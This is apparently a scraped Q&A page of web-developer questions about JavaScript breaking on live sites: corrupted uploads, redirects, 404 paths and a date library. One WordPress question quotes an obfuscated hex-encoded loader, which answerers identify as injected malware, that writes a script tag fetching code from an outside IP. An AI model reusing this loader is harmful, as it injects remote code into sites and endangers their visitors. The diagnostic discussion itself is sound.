Why javascript doesn't work when the site is online? - javascript

On the following site : http://www.cefod.org/legitchad/web there are a lot of javascript (jquery, jquery-ui).
Everything is working offline, but when the website is online, no more script is working.
It seems there are no problem with the tags, since you can read them by clicking on the links in the page's source.
So, what is the problem ?

I get 2 error messages when running you site through Firebug:
illegal character in jquery-ui.js on line 7199
$.datepicher is undefined in ui-datepicker-fr.js on line 2
Probably has something to do with you problems

Firebug tells me your jquery-ui.js is broken in line 7199.
Looks like an encoding problem. Get a new file from the jquery ui website. Make sure it not get's broken during the upload.

Inside your jquery-ui.js, there is something wrong on line: 7199, I see al lot of characters that can not be found, maybe something went wrong on uploading this file.
What if you try using this URL, just checking if this makes the error, this is not the newest jQueryUI url, but it's the same version as you are using now:
https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js

your file upload could have messed up,
did you try re-uploading?
because what I see in the file online at the mentioned lines above is "����������������������������������������..."
this could have happened if your transfer stopped and tried to resume

Related

Really strange Javascript / PHP Behavior

from a webpage, I want to allow users to create a cvs file on the server and download it, generated by PHP ( header('Content-Description: File Transfer') ).
function download_csv_file(){document.location='?action=download_file';}
It works like a charm. File is created and download start automatically like it should be.
But, if I add any other js events/scripts in the JS function (on the same line on a new line), the file is created on the server, but no download.
Really strange, a simple comment on the next line break the process too... But if the comment is on the same line, it works ! Crazy !!!
function download_csv_file(){
document.location='?action=download_file';
// Simple comment
}
Don't work !
function download_csv_file(){
document.location='?action=download_file'; // Simple comment
}
Works !!!
But if I add real code on the same line (instead a comment) it doesn't work.
Any explanation or idea what I can try or search for ?..
Same behavior in Chrome and Firefox
document.location
tells the browser to go to a different URL. Therefore it stops executing anything at the current URL and navigates to a new one instead. And of course that means that any JavaScript code following that command will be ignored.
N.B. since your new URL happens to download a file, it may be that you can still see the previous page in the background, which may lead you to believe that it's still the current page.
You can potentially get round this by using window.open to visit the download URL in a different tab instead.
P.S. Regarding the issue with comments...did you check for any errors in your browser's Console when that occurred? I can't reproduce the problem: https://codepen.io/ADyson82/pen/dyGYQrd

Detecting where a file is being loaded?

I'm taking on a site build in WordPress and I did a few scans through it, one with SEMRush.
It this results in a mixed content issue with the culprit being a reference to http://www.29wp.org/jquery.js.
The issue is, when I view page source and inspect it, it's not there.
It's as if this is being loaded and removed somehow, but doing a grep results in nothing.
I checked the usual places for where this was loaded, and eventually checked the network tab in chrome inspector -- nothing there that looks like this file.
I did a scan on all the site files -- nothing shown.
I then did a search in the DB - still nothing.
Any others ways you can think of for finding where this is being loaded?
Thanks
Check if there are CURL requests in any of your Wordpress php files , If you found curl_init() or any other curl function that you don't know anything about , Then that might be the reason.
Note "This is how latest web malwares work" .

SyntaxError: missing ; before statement error in wordpress

All working fine in localhost, but in live server, all of a sudden I get the above mentioned error for every single js file.
I commented out wp_enqueue_scripts in functions.php, to see if the error disappears but it still there.
Also added below line thinking the string concatnation might have caused it.
//prevent javascript concat
define('CONCATENATE_SCRIPTS', false);
I can't find out what might cause this problem. Please advise me. I can provide my site's access to test.
EDIT:
I opened one of my plugin file shown in the console with error remark. Noticed weird string before the actual code begin. I suspect this could be the problem.
Is this some kind of prefix by wordpress or unwanted string from elsewhere?
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() {
var meta_image_frame;
var meta_mobileimage_frame;
// Runs when the image button is clicked.
jQuery('#banner_manager_image_button').click(function(e){
....plugins js code-----
});
});
Your _0xaae8 is missing ; before jQuery(document).ready(.
This code : var _0xaae8=[... looks like injected code. Usually I had seen such codes injected via some bad written tools/plugins/libs that allow user to work with files (like uploading file to server). I suggest removing it if it's not your code and check other files on server too.

jquery conflict with my website

I layout'd a page and on my server which is it hostgator works extremely fine, using the jQuery mobile components:
http://brunolustro.com/roger/teste/cadastro.html
But my friend who is programming the page wanted me to insert the newest CDNs from either jQuery and jQuery Mobile:
And this is what the page looks like when I insert those codes:
http://brunolustro.com/roger/test/cadastro.html
Do you know how to fix this?
Regards,
Bruno
When working with JavaScript or jQuery on your website - if something isn't working as you intend - the first thing you should do is check the browser console to see if anything is being logged there.
To check the browser console:
Hit F12 on your keyboard. When the developer tools open, choose the console tab, its placed in the toolbar at the top of the new window.
In the console you will see a few errors in red with error codes (404). A 404 means the requested file wasn't found.
This tells us that your reference to jQuery isn't correct. This could be because the file path you've written isn't correct, or that you haven't deployed those files correctly to your site.
Check your file paths you've referenced and make sure the file is on your server. Once both are correct - the errors should go away.
Here's a link to view more about developer tools: https://developer.chrome.com/devtools#console
Check following files in your "test/js" and "teste/js" folders, because i've got 404 not found error:
jquery-2.0.3.min.js
modernizr-2.6.2.min.js
jquery.mobile-1.4.5.min.map

Javascript Datejs

I was looking through some pages when I stumbled across this open source JavaScript date library: Datejs. Now I've been trying to use it but everytime I try any function like:
$(function() { Date.today().toLongDateString() } );
or even only
Date.today().toLongDateString()
withing tags, I get errors when the webpage loads, it tells me Date.today() is not a function but it appears as such in the documentation I've been at this for like almost 2 hours now xD it's driving me crazy and I know I just probably overlooked something...
I loaded the:
<script type="text/javascript" src="assets/js/dia_hora/date_es-MX.js"></script>
Are your script path and filename correct? You wrote:
<script type="text/javascript" src="assets/js/dia_hora/date_es-MX.js"></script>
But according to the "Getting Started" page of the project, it should be:
<script type="text/javascript" src="assets/js/dia_hora/date-es-MX.js"></script>
There are two hyphens in the original file: "date-es-MX.js", not an underscore. Or did you rename the file?
Check if the file correctly loads using Firefox Firebug (network tab) or FiddlerTool if you're using Internet Explorer.
Sounds like the script is not getting loaded. Put an alert('hello'); at the beginning of the script and see if you get that popup when the page loads.
Your path to the javascript file is incorrect.
OR
You have a syntax error in a Javascript file that is being loaded before this one. I believe the browser will stop trying to interpret the rest of the Javascript as soon as an error occurs.
Try having the JS Console open in Chrome or Firefox or Safari - you will get a much better idea of what the error is. JS Console has saved me hours or even days - I remember how I used to get frustrated about not being able to tell what happened when JS silently failed.
But with JS Console it's never a silent fail - you get some hint in the error message however small.

Categories

Resources